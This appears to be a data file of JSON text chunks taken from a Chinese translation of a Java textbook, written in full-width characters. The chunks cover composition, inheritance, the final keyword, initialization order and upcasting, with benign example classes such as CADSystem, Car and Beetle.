ａ Ｔｒｉａｎｇｌｅ＂）； ｓｕｐｅｒ．ｃｌｅａｎｕｐ（）； ｝ ｝ ｃｌａｓｓ Ｌｉｎｅ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｓｔａｒｔ， ｅｎｄ； Ｌｉｎｅ（ｉｎｔ ｓｔａｒｔ， ｉｎｔ ｅｎｄ） ｛ ｓｕｐｅｒ（ｓｔａｒｔ）； ｔｈｉｓ．ｓｔａｒｔ ＝ ｓｔａｒｔ； ｔｈｉｓ．ｅｎｄ ＝ ｅｎｄ； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｄｒａｗｉｎｇ ａ Ｌｉｎｅ： ＂ ＋ ｓｔａｒｔ ＋ ＂， ＂ ＋ ｅｎｄ）； ｝ ｖｏｉｄ ｃｌｅａｎｕｐ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｒａｓｉｎｇ ａ Ｌｉｎｅ： ＂ ＋ ｓｔａｒｔ ＋ ＂， ＂ ＋ ｅｎｄ）； ｓｕｐｅｒ．ｃｌｅａｎｕｐ（）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＣＡＤＳｙｓｔｅｍ ｅｘｔｅｎｄｓ Ｓｈａｐｅ ｛ ｐｒｉｖａｔｅ Ｃｉｒｃｌｅ ｃ； ｐｒｉｖａｔｅ Ｔｒｉａｎｇｌｅ ｔ； ｐｒｉｖａｔｅ Ｌｉｎｅ［］ ｌｉｎｅｓ ＝ ｎｅｗ Ｌｉｎｅ［１０］； ＣＡＤＳｙｓｔｅｍ（ｉｎｔ ｉ） ｛ ｓｕｐｅｒ（ｉ ＋ １）； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ １０； ｊ＋＋） ｌｉｎｅｓ［ｊ］ ＝ ｎｅｗ Ｌｉｎｅ（ｊ， ｊ＊ｊ）； ｃ ＝ ｎｅｗ Ｃｉｒｃｌｅ（１）； ｔ ＝ ｎｅｗ Ｔｒｉａｎｇｌｅ（１）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｏｍｂｉｎｅｄ ｃｏｎｓｔｒｕｃｔｏｒ＂）； ｝ ｖｏｉｄ ｃｌｅａｎｕｐ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＣＡＤＳｙｓｔｅｍ．ｃｌｅａｎｕｐ（）＂）； ｔ．ｃｌｅａｎｕｐ（）； ｃ．ｃｌｅａｎｕｐ（）； １４７ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｌｉｎｅｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｌｉｎｅｓ［ｉ］．ｃｌｅａｎｕｐ（）； ｓｕｐｅｒ．ｃｌｅａｎｕｐ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＣＡＤＳｙｓｔｅｍ ｘ ＝ ｎｅｗ ＣＡＤＳｙｓｔｅｍ（４７）； ｔｒｙ ｛ ／／ Ｃｏｄｅ ａｎｄ ｅｘｃｅｐｔｉｏｎ ｈａｎｄｌｉｎｇ．．． ｝ ｆｉｎａｌｌｙ ｛ ｘ．ｃｌｅａｎｕｐ（）；"},
    {"text": "尽管对象存在期间调用的所有方法都可负责做一些要求清除的工作，但对于特定的 Ｓｈａｐｅ 类——Ｃｉｒｃｌｅ （圆）、Ｔｒｉａｎｇｌｅ（三角形）以及 Ｌｉｎｅ （直线），它们都拥有自己的构建器，能完成“作图”（ｄｒａｗ ）任 务。"},
    {"text": "其中一种 待遇就是：该警戒区后面跟随的 ｆｉｎａｌｌｙ 从句的代码肯定会得以执行——不管 ｔｒｙ 块到底存不存在（通过违 例控制技术，ｔｒｙ 块可有多种不寻常的应用）。"},
    {"text": "在自己的清除方法中，必须注意对基础类以及成员对象清除方法的调用顺序——假若一个子对象要以另一个 为基础。 通常，应采取与 Ｃ＋＋编译器对它的“破坏器”采取的同样的形式：首先完成与类有关的所有特殊工 作（可能要求基础类元素仍然可见），然后调用基础类清除方法，就象这儿演示的那样。"},
    {"text": "如果 Ｊａｖａ 基础类 有一个方法名被“过载”使用多次，在衍生类里对那个方法名的重新定义就不会隐藏任何基础类的版本。 所 以无论方法在这一级还是在一个基础类中定义，过载都会生效： ／／： Ｈｉｄｅ．ｊａｖａ ／／ Ｏｖｅｒｌｏａｄｉｎｇ ａ ｂａｓｅ－ｃｌａｓｓ ｍｅｔｈｏｄ ｎａｍｅ ／／ ｉｎ ａ ｄｅｒｉｖｅｄ ｃｌａｓｓ ｄｏｅｓ ｎｏｔ ｈｉｄｅ ｔｈｅ ／／ ｂａｓｅ－ｃｌａｓｓ ｖｅｒｓｉｏｎｓ ｃｌａｓｓ Ｈｏｍｅｒ ｛ ｃｈａｒ ｄｏｈ（ｃｈａｒ ｃ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｄｏｈ（ｃｈａｒ）＂）；"},
    {"text": "ｒｅｔｕｒｎ ＇ｄ＇； ｝ １４８ ｆｌｏａｔ ｄｏｈ（ｆｌｏａｔ ｆ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｄｏｈ（ｆｌｏａｔ）＂）； ｒｅｔｕｒｎ １．０ｆ； ｝ ｝ ｃｌａｓｓ Ｍｉｌｈｏｕｓｅ ｛｝ ｃｌａｓｓ Ｂａｒｔ ｅｘｔｅｎｄｓ Ｈｏｍｅｒ ｛ ｖｏｉｄ ｄｏｈ（Ｍｉｌｈｏｕｓｅ ｍ） ｛｝ ｝ ｃｌａｓｓ Ｈｉｄｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｂａｒｔ ｂ ＝ ｎｅｗ Ｂａｒｔ（）； ｂ．ｄｏｈ（１）； ／／ ｄｏｈ（ｆｌｏａｔ） ｕｓｅｄ ｂ．ｄｏｈ（＇ｘ＇）； ｂ．ｄｏｈ（１．０ｆ）； ｂ．ｄｏｈ（ｎｅｗ Ｍｉｌｈｏｕｓｅ（））；"},
    {"text": "｝ ｝ ／／／：￣ 正如下一章会讲到的那样，很少会用与基础类里完全一致的签名和返回类型来覆盖同名的方法，否则会使人 感到迷惑（这正是 Ｃ＋＋不允许那样做的原因，所以能够防止产生一些不必要的错误）。"},
    {"text": "ｃａｒ（汽车）对象便是一个很好的例子： ／／： Ｃａｒ．ｊａｖａ ／／ Ｃｏｍｐｏｓｉｔｉｏｎ ｗｉｔｈ ｐｕｂｌｉｃ ｏｂｊｅｃｔｓ ｃｌａｓｓ Ｅｎｇｉｎｅ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｓｔａｒｔ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｅｖ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｔｏｐ（） ｛｝ ｝ ｃｌａｓｓ Ｗｈｅｅｌ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｆｌａｔｅ（ｉｎｔ ｐｓｉ） ｛｝ ｝ ｃｌａｓｓ Ｗｉｎｄｏｗ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｒｏｌｌｕｐ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｏｌｌｄｏｗｎ（） ｛｝ ｝ １４９ ｃｌａｓｓ Ｄｏｏｒ ｛ ｐｕｂｌｉｃ Ｗｉｎｄｏｗ ｗｉｎｄｏｗ ＝ ｎｅｗ Ｗｉｎｄｏｗ（）； ｐｕｂｌｉｃ ｖｏｉｄ ｏｐｅｎ（） ｛｝ ｐｕｂｌｉｃ ｖｏｉｄ ｃｌｏｓｅ（） ｛｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃａｒ ｛ ｐｕｂｌｉｃ Ｅｎｇｉｎｅ ｅｎｇｉｎｅ ＝ ｎｅｗ Ｅｎｇｉｎｅ（）； ｐｕｂｌｉｃ Ｗｈｅｅｌ［］ ｗｈｅｅｌ ＝ ｎｅｗ Ｗｈｅｅｌ［４］； ｐｕｂｌｉｃ Ｄｏｏｒ ｌｅｆｔ ＝ ｎｅｗ Ｄｏｏｒ（）， ｒｉｇｈｔ ＝ ｎｅｗ Ｄｏｏｒ（）； ／／ ２－ｄｏｏｒ Ｃａｒ（） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０；"},
    {"text": "ｉ＋＋） ｗｈｅｅｌ［ｉ］ ＝ ｎｅｗ Ｗｈｅｅｌ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｃａｒ ｃａｒ ＝ ｎｅｗ Ｃａｒ（）； ｃａｒ．ｌｅｆｔ．ｗｉｎｄｏｗ．ｒｏｌｌｕｐ（）； ｃａｒ．ｗｈｅｅｌ［０］．ｉｎｆｌａｔｅ（７２）；"},
    {"text": "｝ ｝ ／／／：￣ 由于汽车的装配是故障分析时需要考虑的一项因素（并非只是基础设计简单的一部分），所以有助于客户程 序员理解如何使用类，而且类创建者的编程复杂程度也会大幅度降低。"},
    {"text": "在这一前提下，可通过 ｐｒｏｔｅｃｔｅｄ 方法允许类的继承者进行受到控制的访问： ／／： Ｏｒｃ．ｊａｖａ ／／ Ｔｈｅ ｐｒｏｔｅｃｔｅｄ ｋｅｙｗｏｒｄ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｖｉｌｌａｉｎ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ； ｐｒｏｔｅｃｔｅｄ ｉｎｔ ｒｅａｄ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ｐｒｏｔｅｃｔｅｄ ｖｏｉｄ ｓｅｔ（ｉｎｔ ｉｉ） ｛ ｉ ＝ ｉｉ； ｝ ｐｕｂｌｉｃ Ｖｉｌｌａｉｎ（ｉｎｔ ｉｉ） ｛ ｉ ＝ ｉｉ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｖａｌｕｅ（ｉｎｔ ｍ） ｛ ｒｅｔｕｒｎ ｍ＊ｉ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｏｒｃ ｅｘｔｅｎｄｓ Ｖｉｌｌａｉｎ ｛ １５０ ｐｒｉｖａｔｅ ｉｎｔ ｊ； ｐｕｂｌｉｃ Ｏｒｃ（ｉｎｔ ｊｊ） ｛ ｓｕｐｅｒ（ｊｊ）； ｊ ＝ ｊｊ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｃｈａｎｇｅ（ｉｎｔ ｘ） ｛ ｓｅｔ（ｘ）；"},
    {"text": "通过从一个现成的、功能性的类继承，同时增添成员新的数据成员及方法（并重新 定义现有方法），我们可保持现有代码原封不动（另外有人也许仍在使用它），不会为其引入自己的编程错 误。"},
    {"text": "尽管继承是一种非常有用的技术，但在某些情况下，特别是在项目稳定下来以后，仍然需要从新的角度考察 自己的类结构，将其收缩成一个更灵活的结构。"},
    {"text": "下面这个例子揭示出编译器如何提供对这一概念的支持： ／／： Ｗｉｎｄ．ｊａｖａ ／／ Ｉｎｈｅｒｉｔａｎｃｅ ＆ ｕｐｃａｓｔｉｎｇ ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｉｎｓｔｒｕｍｅｎｔ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｐｌａｙ（） ｛｝ ｓｔａｔｉｃ ｖｏｉｄ ｔｕｎｅ（Ｉｎｓｔｒｕｍｅｎｔ ｉ） ｛ ／／ ．．． ｉ．ｐｌａｙ（）； ｝ ｝ ／／ Ｗｉｎｄ ｏｂｊｅｃｔｓ ａｒｅ ｉｎｓｔｒｕｍｅｎｔｓ ／／ ｂｅｃａｕｓｅ ｔｈｅｙ ｈａｖｅ ｔｈｅ ｓａｍｅ ｉｎｔｅｒｆａｃｅ： ｃｌａｓｓ Ｗｉｎｄ ｅｘｔｅｎｄｓ Ｉｎｓｔｒｕｍｅｎｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｗｉｎｄ ｆｌｕｔｅ ＝ ｎｅｗ Ｗｉｎｄ（）； Ｉｎｓｔｒｕｍｅｎｔ．ｔｕｎｅ（ｆｌｕｔｅ）；"},
    {"text": "／／ Ｕｐｃａｓｔｉｎｇ １５１ ｝ ｝ ／／／：￣ 这个例子中最有趣的无疑是 ｔｕｎｅ（）方法，它能接受一个 Ｉｎｓｔｒｕｍｅｎｔ 句柄。 但在 Ｗｉｎｄ．ｍａｉｎ（）中，ｔｕｎｅ（）方法 是通过为其赋予一个 Ｗｉｎｄ 句柄来调用的。"},
    {"text": "之所以叫作这个名字，除了有一定的历史原因外，也是由于在传统意义上，类继承图的画法是根位于最顶 部，再逐渐向下扩展（当然，可根据自己的习惯用任何方法描绘这种图）。 因素，Ｗｉｎｄ．ｊａｖａ 的继承图就象 下面这个样子： 由于造型的方向是从衍生类到基础类，箭头朝上，所以通常把它叫作“上溯造型”，即 Ｕｐｃａｓｔｉｎｇ。"},
    {"text": "１． 再论合成与继承 在面向对象的程序设计中，创建和使用代码最可能采取的一种做法是：将数据和方法统一封装到一个类里， 并且使用那个类的对象。"},
    {"text": "常数主要应用于下述两个方面： （１） 编译期常数，它永远不会改变 （２） 在运行期初始化的一个值，我们不希望它发生变化 对于编译期的常数，编译器（程序）可将常数值“封装”到需要的计算过程里。"},
    {"text": "下面是演示 ｆｉｎａｌ 字段用法的一个例子： ／／： ＦｉｎａｌＤａｔａ．ｊａｖａ ／／ Ｔｈｅ ｅｆｆｅｃｔ ｏｆ ｆｉｎａｌ ｏｎ ｆｉｅｌｄｓ ｃｌａｓｓ Ｖａｌｕｅ ｛ ｉｎｔ ｉ ＝ １； ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＦｉｎａｌＤａｔａ ｛ ／／ Ｃａｎ ｂｅ ｃｏｍｐｉｌｅ－ｔｉｍｅ ｃｏｎｓｔａｎｔｓ ｆｉｎａｌ ｉｎｔ ｉ１ ＝ ９； ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ Ｉ２ ＝ ９９； ／／ Ｔｙｐｉｃａｌ ｐｕｂｌｉｃ ｃｏｎｓｔａｎｔ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ Ｉ３ ＝ ３９； ／／ Ｃａｎｎｏｔ ｂｅ ｃｏｍｐｉｌｅ－ｔｉｍｅ ｃｏｎｓｔａｎｔｓ： ｆｉｎａｌ ｉｎｔ ｉ４ ＝ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（）＊２０）； ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ｉ５ ＝ （ｉｎｔ）（Ｍａｔｈ．ｒａｎｄｏｍ（）＊２０）； Ｖａｌｕｅ ｖ１ ＝ ｎｅｗ Ｖａｌｕｅ（）； ｆｉｎａｌ Ｖａｌｕｅ ｖ２ ＝ ｎｅｗ Ｖａｌｕｅ（）； ｓｔａｔｉｃ ｆｉｎａｌ Ｖａｌｕｅ ｖ３ ＝ ｎｅｗ Ｖａｌｕｅ（）；"},
    {"text": "／／ Ｐｒｅ－Ｊａｖａ １．１ Ｅｒｒｏｒ： ／／ ｎｏ ｉｎｉｔｉａｌｉｚｅｒ ／／ Ａｒｒａｙｓ： ｆｉｎａｌ ｉｎｔ［］ ａ ＝ ｛ １， ２， ３， ４， ５， ６ ｝； ｐｕｂｌｉｃ ｖｏｉｄ ｐｒｉｎｔ（Ｓｔｒｉｎｇ ｉｄ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｉｄ ＋ ＂： ＂ ＋ ＂ｉ４ ＝ ＂ ＋ ｉ４ ＋ ＂， ｉ５ ＝ ＂ ＋ ｉ５）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＦｉｎａｌＤａｔａ ｆｄ１ ＝ ｎｅｗ ＦｉｎａｌＤａｔａ（）；"},
    {"text": "ｆｄ１．ｉ１＋＋； ／／ Ｅｒｒｏｒ： ｃａｎ＇ｔ ｃｈａｎｇｅ ｖａｌｕｅ ｆｄ１．ｖ２．ｉ＋＋； ／／ Ｏｂｊｅｃｔ ｉｓｎ＇ｔ ｃｏｎｓｔａｎｔ！ ｆｄ１．ｖ１ ＝ ｎｅｗ Ｖａｌｕｅ（）； ／／ ＯＫ －－ ｎｏｔ ｆｉｎａｌ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｆｄ１．ａ．ｌｅｎｇｔｈ； ｉ＋＋） ｆｄ１．ａ［ｉ］＋＋； ／／ Ｏｂｊｅｃｔ ｉｓｎ＇ｔ ｃｏｎｓｔａｎｔ！ ／／！ ｆｄ１．ｖ２ ＝ ｎｅｗ Ｖａｌｕｅ（）； ／／ Ｅｒｒｏｒ： Ｃａｎ＇ｔ ／／！ ｆｄ１．ｖ３ ＝ ｎｅｗ Ｖａｌｕｅ（）； ／／ ｃｈａｎｇｅ ｈａｎｄｌｅ ／／！ ｆｄ１．ａ ＝ ｎｅｗ ｉｎｔ［３］； ｆｄ１．ｐｒｉｎｔ（＂ｆｄ１＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｒｅａｔｉｎｇ ｎｅｗ ＦｉｎａｌＤａｔａ＂）； １５３ ＦｉｎａｌＤａｔａ ｆｄ２ ＝ ｎｅｗ ＦｉｎａｌＤａｔａ（）； ｆｄ１．ｐｒｉｎｔ（＂ｆｄ１＂）； ｆｄ２．ｐｒｉｎｔ（＂ｆｄ２＂）；"},
    {"text": "｝ ｝ ／／／：￣ 由于 ｉ１ 和 Ｉ２ 都是具有 ｆｉｎａｌ 属性的基本数据类型，并含有编译期的值，所以它们除了能作为编译期的常数 使用外，在任何导入方式中也不会出现任何不同。"},
    {"text": "这种差异可从输出结果中看出： ｆｄ１： ｉ４ ＝ １５， ｉ５ ＝ ９ Ｃｒｅａｔｉｎｇ ｎｅｗ ＦｉｎａｌＤａｔａ ｆｄ１： ｉ４ ＝ １５， ｉ５ ＝ ９ ｆｄ２： ｉ４ ＝ １０， ｉ５ ＝ ９ 注意对于 ｆｄ１ 和 ｆｄ２ 来说，ｉ４ 的值是唯一的，但 ｉ５ 的值不会由于创建了另一个 ＦｉｎａｌＤａｔａ 对象而发生改 变。"},
    {"text": "下面列出一 个例子： ／／： ＢｌａｎｋＦｉｎａｌ．ｊａｖａ ／／ ＂Ｂｌａｎｋ＂ ｆｉｎａｌ ｄａｔａ ｍｅｍｂｅｒｓ ｃｌａｓｓ Ｐｏｐｐｅｔ ｛ ｝ ｃｌａｓｓ ＢｌａｎｋＦｉｎａｌ ｛ ｆｉｎａｌ ｉｎｔ ｉ ＝ ０；"},
    {"text": "／／ Ｉｎｉｔｉａｌｉｚｅｄ ｆｉｎａｌ ｆｉｎａｌ ｉｎｔ ｊ； ／／ Ｂｌａｎｋ ｆｉｎａｌ ｆｉｎａｌ Ｐｏｐｐｅｔ ｐ； ／／ Ｂｌａｎｋ ｆｉｎａｌ ｈａｎｄｌｅ ／／ Ｂｌａｎｋ ｆｉｎａｌｓ ＭＵＳＴ ｂｅ ｉｎｉｔｉａｌｉｚｅｄ ／／ ｉｎ ｔｈｅ ｃｏｎｓｔｒｕｃｔｏｒ： ＢｌａｎｋＦｉｎａｌ（） ｛ ｊ ＝ １； ／／ Ｉｎｉｔｉａｌｉｚｅ ｂｌａｎｋ ｆｉｎａｌ ｐ ＝ ｎｅｗ Ｐｏｐｐｅｔ（）； ｝ ＢｌａｎｋＦｉｎａｌ（ｉｎｔ ｘ） ｛ ｊ ＝ ｘ； ／／ Ｉｎｉｔｉａｌｉｚｅ ｂｌａｎｋ ｆｉｎａｌ １５４ ｐ ＝ ｎｅｗ Ｐｏｐｐｅｔ（）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＢｌａｎｋＦｉｎａｌ ｂｆ ＝ ｎｅｗ ＢｌａｎｋＦｉｎａｌ（）；"},
    {"text": "如下所示： ／／： ＦｉｎａｌＡｒｇｕｍｅｎｔｓ．ｊａｖａ ／／ Ｕｓｉｎｇ ＂ｆｉｎａｌ＂ ｗｉｔｈ ｍｅｔｈｏｄ ａｒｇｕｍｅｎｔｓ ｃｌａｓｓ Ｇｉｚｍｏ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｓｐｉｎ（） ｛｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＦｉｎａｌＡｒｇｕｍｅｎｔｓ ｛ ｖｏｉｄ ｗｉｔｈ（ｆｉｎａｌ Ｇｉｚｍｏ ｇ） ｛ ／／！ ｇ ＝ ｎｅｗ Ｇｉｚｍｏ（）； ／／ Ｉｌｌｅｇａｌ －－ ｇ ｉｓ ｆｉｎａｌ ｇ．ｓｐｉｎ（）； ｝ ｖｏｉｄ ｗｉｔｈｏｕｔ（Ｇｉｚｍｏ ｇ） ｛ ｇ ＝ ｎｅｗ Ｇｉｚｍｏ（）； ／／ ＯＫ －－ ｇ ｎｏｔ ｆｉｎａｌ ｇ．ｓｐｉｎ（）； ｝ ／／ ｖｏｉｄ ｆ（ｆｉｎａｌ ｉｎｔ ｉ） ｛ ｉ＋＋； ｝ ／／ Ｃａｎ＇ｔ ｃｈａｎｇｅ ／／ Ｙｏｕ ｃａｎ ｏｎｌｙ ｒｅａｄ ｆｒｏｍ ａ ｆｉｎａｌ ｐｒｉｍｉｔｉｖｅ： ｉｎｔ ｇ（ｆｉｎａｌ ｉｎｔ ｉ） ｛ ｒｅｔｕｒｎ ｉ ＋ １； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＦｉｎａｌＡｒｇｕｍｅｎｔｓ ｂｆ ＝ ｎｅｗ ＦｉｎａｌＡｒｇｕｍｅｎｔｓ（）； ｂｆ．ｗｉｔｈｏｕｔ（ｎｕｌｌ）； ｂｆ．ｗｉｔｈ（ｎｕｌｌ）；"},
    {"text": "将一个方法设成 ｆｉｎａｌ 后，编译器就可以把对那个方法的 所有调用都置入“嵌入”调用里。 只要编译器发现一个 ｆｉｎａｌ 方法调用，就会（根据它自己的判断）忽略为 执行方法调用机制而采取的常规代码插入方法（将自变量压入堆栈；"},
    {"text": "６ ． ８ ． ３ ｆ ｉ ｎ ａ ｌ 类 如果说整个类都是 ｆｉｎａｌ（在它的定义前冠以 ｆｉｎａｌ 关键字），就表明自己不希望从这个类继承，或者不允 许其他任何人采取这种操作。"},
    {"text": "如下所示： ／／： Ｊｕｒａｓｓｉｃ．ｊａｖａ ／／ Ｍａｋｉｎｇ ａｎ ｅｎｔｉｒｅ ｃｌａｓｓ ｆｉｎａｌ ｃｌａｓｓ ＳｍａｌｌＢｒａｉｎ ｛｝ ｆｉｎａｌ ｃｌａｓｓ Ｄｉｎｏｓａｕｒ ｛ ｉｎｔ ｉ ＝ ７； ｉｎｔ ｊ ＝ １； ＳｍａｌｌＢｒａｉｎ ｘ ＝ ｎｅｗ ＳｍａｌｌＢｒａｉｎ（）； ｖｏｉｄ ｆ（） ｛｝ ｝ ／／！ ｃｌａｓｓ Ｆｕｒｔｈｅｒ ｅｘｔｅｎｄｓ Ｄｉｎｏｓａｕｒ ｛｝ ／／ ｅｒｒｏｒ： Ｃａｎｎｏｔ ｅｘｔｅｎｄ ｆｉｎａｌ ｃｌａｓｓ ＇Ｄｉｎｏｓａｕｒ＇ ｐｕｂｌｉｃ ｃｌａｓｓ Ｊｕｒａｓｓｉｃ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｄｉｎｏｓａｕｒ ｎ ＝ ｎｅｗ Ｄｉｎｏｓａｕｒ（）； ｎ．ｆ（）； ｎ．ｉ ＝ ４０； ｎ．ｊ＋＋；"},
    {"text": "将类定义成 ｆｉｎａｌ 后，结果只是禁止进行继承——没有更多的限制。 然 而，由于它禁止了继承，所以一个 ｆｉｎａｌ 类中的所有方法都默认为 ｆｉｎａｌ。"},
    {"text": "其次，对 于 Ｖｅｃｔｏｒ 许多重要的方法，如 ａｄｄＥｌｅｍｅｎｔ（）以及 ｅｌｅｍｅｎｔＡｔ（）等，它们都变成了 ｓｙｎｃｈｒｏｎｉｚｅｄ（同步 的）。"},
    {"text": "正 如我们在本书其他地方提到的那样，显然一些类的设计人员与其他设计人员有着全然不同的素质（注意比较 Ｈａｓｈｔａｂｌｅ 极短的方法名与 Ｖｅｃｏｒ 的方法名）。"},
    {"text": "请 观察下述代码： ／／： Ｂｅｅｔｌｅ．ｊａｖａ ／／ Ｔｈｅ ｆｕｌｌ ｐｒｏｃｅｓｓ ｏｆ ｉｎｉｔｉａｌｉｚａｔｉｏｎ． ｃｌａｓｓ Ｉｎｓｅｃｔ ｛ ｉｎｔ ｉ ＝ ９；"},
    {"text": "ｉｎｔ ｊ； Ｉｎｓｅｃｔ（） ｛ ｐｒｔ（＂ｉ ＝ ＂ ＋ ｉ ＋ ＂， ｊ ＝ ＂ ＋ ｊ）； ｊ ＝ ３９； ｝ ｓｔａｔｉｃ ｉｎｔ ｘ１ ＝ ｐｒｔ（＂ｓｔａｔｉｃ Ｉｎｓｅｃｔ．ｘ１ ｉｎｉｔｉａｌｉｚｅｄ＂）； ｓｔａｔｉｃ ｉｎｔ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｒｅｔｕｒｎ ４７； ｝ ｝ １５７ ｐｕｂｌｉｃ ｃｌａｓｓ Ｂｅｅｔｌｅ ｅｘｔｅｎｄｓ Ｉｎｓｅｃｔ ｛ ｉｎｔ ｋ ＝ ｐｒｔ（＂Ｂｅｅｔｌｅ．ｋ ｉｎｉｔｉａｌｉｚｅｄ＂）； Ｂｅｅｔｌｅ（） ｛ ｐｒｔ（＂ｋ ＝ ＂ ＋ ｋ）； ｐｒｔ（＂ｊ ＝ ＂ ＋ ｊ）； ｝ ｓｔａｔｉｃ ｉｎｔ ｘ２ ＝ ｐｒｔ（＂ｓｔａｔｉｃ Ｂｅｅｔｌｅ．ｘ２ ｉｎｉｔｉａｌｉｚｅｄ＂）； ｓｔａｔｉｃ ｉｎｔ ｐｒｔ（Ｓｔｒｉｎｇ ｓ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｓ）； ｒｅｔｕｒｎ ６３； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｐｒｔ（＂Ｂｅｅｔｌｅ ｃｏｎｓｔｒｕｃｔｏｒ＂）； Ｂｅｅｔｌｅ ｂ ＝ ｎｅｗ Ｂｅｅｔｌｅ（）；"},
    {"text": "｝ ｝ ／／／：￣ 该程序的输出如下： ｓｔａｔｉｃ Ｉｎｓｅｃｔ．ｘ ｉｎｉｔｉａｌｉｚｅｄ ｓｔａｔｉｃ Ｂｅｅｔｌｅ．ｘ ｉｎｉｔｉａｌｉｚｅｄ Ｂｅｅｔｌｅ ｃｏｎｓｔｒｕｃｔｏｒ ｉ ＝ ９， ｊ ＝ ０ Ｂｅｅｔｌｅ．ｋ ｉｎｉｔｉａｌｉｚｅｄ ｋ ＝ ６３ ｊ ＝ ３９ 对 Ｂｅｅｔｌｅ 运行 Ｊａｖａ 时，发生的第一件事情是装载程序到外面找到那个类。 在装载过程中，装载程序注意它 有一个基础类（即 ｅｘｔｅｎｄｓ 关键字要表达的意思），所以随之将其载入。"},
    {"text": "” “多形性”（Ｐｏｌｙｍｏｒｐｈｉｓｍ）从另一个角度将接口从具体的实施细节中分离出来，亦即实现了“是什么”与 “怎样做”两个模块的分离。"},
    {"text": "利用具有多形性的方 法调用，一种类型可将自己与另一种相似的类型区分开，只要它们都是从相同的基础类型中衍生出来的。 这 种区分是通过各种方法在行为上的差异实现的，可通过基础类实现对那些方法的调用。"},
    {"text": "７ ． １ 上溯造型 在第 ６ 章，大家已知道可将一个对象作为它自己的类型使用，或者作为它的基础类型的一个对象使用。 取得 一个对象句柄，并将其作为基础类型句柄使用的行为就叫作“上溯造型”——因为继承树的画法是基础类位 于最上方。"},
    {"text": "但这样做也会遇到一个问题，如下例所示（若执行这个程序遇到麻烦，请参考第 ３ 章的 ３．１．２ 小节“赋 值”）： ／／： Ｍｕｓｉｃ．ｊａｖａ ／／ Ｉｎｈｅｒｉｔａｎｃｅ ＆ ｕｐｃａｓｔｉｎｇ ｐａｃｋａｇｅ ｃ０７；"},
